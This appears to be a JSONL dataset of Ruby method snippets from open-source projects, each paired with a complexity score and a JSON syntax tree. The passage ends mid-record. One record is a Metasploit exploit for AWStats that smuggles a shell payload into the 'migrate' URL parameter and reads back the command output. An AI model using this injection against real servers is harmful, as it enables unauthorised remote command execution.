+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/milestones_controller.rb","start_line":27,"raw_source":"def index\n @sort = params[:sort] || 'due_date_asc'\n @milestones = milestones.sort_by_attribute(@sort)\n\n respond_to do |format|\n format.html do\n @milestone_states = Milestone.states_count(@project)\n # We need to show group milestones in the JSON response\n # so that people can filter by and assign group milestones,\n # but we don't need to show them on the project milestones page itself.\n @milestones = @milestones.for_projects\n @milestones = @milestones.page(params[:page])\n end\n format.json do\n render json: @milestones.to_json(only: [:id, :title, :due_date], methods: :name)\n end\n end\n end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sort\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"due_date_asc\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@milestones\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"milestones\"]},\"sort_by_attribute\",{\"type\":\"ivar\",\"children\":[\"@sort\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@milestone_states\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestone\"]},\"states_count\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@milestones\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@milestones\"]},\"for_projects\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@milestones\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@milestones\"]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@milestones\"]},\"to_json\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"due_date\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"methods\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"4e3804be-b70a-44b3-8cdc-20e2b8305cb6"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/packages/go/module.rb","start_line":70,"raw_source":"def version_by_ref(ref)\n # reuse existing versions\n if strong_memoized?(:versions)\n v = versions.find { |v| v.ref == ref }\n return v if v\n end\n\n commit = ref.dereferenced_target\n semver = Packages::SemVer.parse(ref.name, prefixed: true)\n Packages::Go::ModuleVersion.new(self, :ref, commit, ref: ref, semver: semver)\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"version_by_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoized?\",{\"type\":\"sym\",\"children\":[\"versions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"versions\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"ref\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"dereferenced_target\"]}]},{\"type\":\"lvasgn\",\"children\":[\"semver\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"SemVer\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ref\"]},\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prefixed\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"Go\"]},\"ModuleVersion\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"commit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"semver\"]},{\"type\":\"lvar\",\"children\":[\"semver\"]}]}]}]}]}]}","id":"0ccc7e93-62ee-4a39-8044-e6dba1bc867e"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/naming/ascii_identifiers.rb","start_line":59,"raw_source":"def on_new_investigation\n processed_source.tokens.each do |token|\n next if !should_check?(token) || token.text.ascii_only?\n\n message = token.type == :tIDENTIFIER ? IDENTIFIER_MSG : CONSTANT_MSG\n add_offense(first_offense_range(token), message: message)\n end\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_investigation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"tokens\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_check?\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"text\"]},\"ascii_only?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"tIDENTIFIER\"]}]},{\"type\":\"const\",\"children\":[null,\"IDENTIFIER_MSG\"]},{\"type\":\"const\",\"children\":[null,\"CONSTANT_MSG\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[null,\"first_offense_range\",{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}","id":"b601ab08-f545-458c-8d2d-9a0abf1d70ee"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/partition_manager.rb","start_line":18,"raw_source":"def initialize(model, connection: nil)\n @model = model\n @connection = connection || model.connection\n @connection_name = @connection.pool.db_config.name\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"kwoptarg\",\"children\":[\"connection\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@model\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"connection\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@connection_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"pool\"]},\"db_config\"]},\"name\"]}]}]}]}","id":"34e04df2-3b0e-492b-8187-22b823083041"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/notifications/instrumenter_test.rb","start_line":75,"raw_source":"def test_record_yields_the_payload_for_further_modification\n event = instrumenter.new_event(\"awesome\")\n event.record { |p| p[:result] = 1 + 1 }\n assert_equal 2, event.payload[:result]\n\n assert_equal \"awesome\", event.name\n assert_equal Hash[result: 2], event.payload\n assert_equal instrumenter.id, event.transaction_id\n assert_not_nil event.time\n assert_not_nil event.end\n end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_record_yields_the_payload_for_further_modification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrumenter\"]},\"new_event\",{\"type\":\"str\",\"children\":[\"awesome\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"record\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"awesome\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"payload\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrumenter\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"transaction_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"end\"]}]}]}]}","id":"e24ddf9a-4c7f-48fd-8bea-45645fecb9ed"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb","start_line":2363,"raw_source":"def _format_vulns_and_vuln_attempts(vulns)\n vulns.map.with_index do |vuln, index|\n vuln_formatted = <<~EOF.strip.indent(2)\n #{index}. Vuln ID: #{vuln.id}\n Timestamp: #{vuln.created_at}\n Host: #{vuln.host.address}\n Name: #{vuln.name}\n References: #{vuln.refs.map {|r| r.name}.join(',')}\n Information: #{_format_vuln_value(vuln.info)}\n EOF\n\n vuln_attempts_formatted = vuln.vuln_attempts.map.with_index do |vuln_attempt, i|\n <<~EOF.strip.indent(5)\n #{i}. ID: #{vuln_attempt.id}\n Vuln ID: #{vuln_attempt.vuln_id}\n Timestamp: #{vuln_attempt.attempted_at}\n Exploit: #{vuln_attempt.exploited}\n Fail reason: #{_format_vuln_value(vuln_attempt.fail_reason)}\n Username: #{vuln_attempt.username}\n Module: #{vuln_attempt.module}\n Session ID: #{_format_vuln_value(vuln_attempt.session_id)}\n Loot ID: #{_format_vuln_value(vuln_attempt.loot_id)}\n Fail Detail: #{_format_vuln_value(vuln_attempt.fail_detail)}\n EOF\n end\n\n { :vuln => vuln_formatted, :vuln_attempts => vuln_attempts_formatted }\n end\n end","complexity_score":62.43,"ast_json":"{\"type\":\"def\",\"children\":[\"_format_vulns_and_vuln_attempts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vulns\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulns\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vuln_formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\". Vuln ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Timestamp: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"created_at\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"host\"]},\"address\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" References: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"refs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"name\"]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Information: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"info\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln_attempts_formatted\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]},\"vuln_attempts\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln_attempt\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\". ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Vuln ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"vuln_id\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Timestamp: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"attempted_at\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Exploit: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"exploited\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Fail reason: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"fail_reason\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Username: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"username\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Module: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"module\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Session ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"session_id\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Loot ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"loot_id\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" Fail Detail: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_format_vuln_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln_attempt\"]},\"fail_detail\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"strip\"]},\"indent\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vuln\"]},{\"type\":\"lvar\",\"children\":[\"vuln_formatted\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vuln_attempts\"]},{\"type\":\"lvar\",\"children\":[\"vuln_attempts_formatted\"]}]}]}]}]}]}","id":"3dafa3a0-f460-4b90-b1a0-2dce1f11e654"}
+{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20121122033316_add_muted_at_to_topic_user.rb","start_line":4,"raw_source":"def change\n add_column :topic_users, :muted_at, :datetime\n change_column :topic_users, :last_read_post_number, :integer, null: true\n change_column_default :topic_users, :last_read_post_number, nil\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"topic_users\"]},{\"type\":\"sym\",\"children\":[\"muted_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"sym\",\"children\":[\"topic_users\"]},{\"type\":\"sym\",\"children\":[\"last_read_post_number\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column_default\",{\"type\":\"sym\",\"children\":[\"topic_users\"]},{\"type\":\"sym\",\"children\":[\"last_read_post_number\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"d2cfb301-bddb-4dab-a04b-04ab34a243e3"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/ems_refresh_workflow.rb","start_line":25,"raw_source":"def poll_native_task\n raise NotImplementedError, _(\"poll_native_task must be implemented by a subclass\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"poll_native_task\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"poll_native_task must be implemented by a subclass\"]}]}]}]}","id":"9b084f4b-8ee3-4f98-be3a-ed78a1549f24"}
+{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/rails/helpers.rb","start_line":68,"raw_source":"def doorkeeper_invalid_token_response?\n !doorkeeper_token || !doorkeeper_token.accessible?\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"doorkeeper_invalid_token_response?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doorkeeper_token\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doorkeeper_token\"]},\"accessible?\"]},\"!\"]}]}]}","id":"59cccd6f-be3f-4d3c-8c5c-5507f684c90e"}
+{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/channel/rejection_test.rb","start_line":10,"raw_source":"def subscribed\n reject if params[:id] > 0\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"subscribed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"reject\"]},null]}]}","id":"ba5ea39f-d30b-4c0a-91d3-06592643c306"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/base.rb","start_line":83,"raw_source":"def entry(path = nil, identifier = nil)\n parts = split_path(path)\n search_entries(parts, identifier)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"entry\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"identifier\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parts\",{\"type\":\"send\",\"children\":[null,\"split_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"search_entries\",{\"type\":\"lvar\",\"children\":[\"parts\"]},{\"type\":\"lvar\",\"children\":[\"identifier\"]}]}]}]}","id":"55701a64-4ad6-4317-a8e9-bb40e74ff6ea"}
+{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":120,"raw_source":"def self.unique_url_error\n I18n.t(\"models.article.unique_url\", email: ForemInstance.contact_email)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"unique_url_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.article.unique_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ForemInstance\"]},\"contact_email\"]}]}]}]}]}","id":"f1678897-bdb9-4f80-b87f-f4030d50e42e"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/awstats_migrate_exec.rb","start_line":79,"raw_source":"def exploit\n command = Rex::Text.uri_encode(\"cd /tmp &&\" + payload.encoded)\n sploit = normalize_uri(datastore['URI']) + \"?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt\"\n\n res = send_request_raw({\n 'uri' => sploit,\n 'method' => 'GET',\n 'headers' =>\n {\n 'Connection' => 'Close',\n }\n }, 25)\n\n if (res)\n print_status(\"The server returned: #{res.code} #{res.message}\")\n\n m = res.body.match(/YYY\\n(.*)\\nYYY/m)\n\n if (m)\n print_status(\"Command output from the server:\")\n print(\"\\n\" + m[1] + \"\\n\\n\")\n else\n print_status(\"This server may not be vulnerable\")\n end\n else\n print_status(\"No response from the server\")\n end\n end","complexity_score":40.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"cd /tmp &&\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?migrate=|echo;echo%20YYY;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]},{\"type\":\"str\",\"children\":[\";echo%20YYY;echo|awstats\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AWSITE\"]}]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"Close\"]}]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\"